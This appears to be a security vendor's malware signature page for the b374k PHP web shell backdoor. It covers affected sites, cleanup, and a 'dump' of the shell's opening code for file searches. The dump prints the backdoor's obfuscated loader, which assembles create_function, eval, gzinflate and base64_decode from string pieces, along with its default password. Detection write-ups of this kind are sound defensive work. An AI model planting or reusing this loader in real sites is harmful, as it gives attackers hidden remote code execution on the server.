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php.backdoor.b374k-shell.002

Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.
The b374k backdoor is one of those complex codes, which are known as SHELLS. It's easily found online for malicious purposes. It is always part of the attack payload, being dropped after the attacker gets access to the filesystem

Affecting

Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).

Cleanup

Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
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Dump

/*
b374k 2.8
Jayalah Indonesiaku
(c)2013
http://domain-removed/p/b374k-shell

*/
$s_pass = "9c3e7db6fcac9024eaa37a949f34380327a2199b"; // default password : b374k (login and change to new password)
$s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("$s_pass="$y"";?>"".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k(""rP2Hruxc

"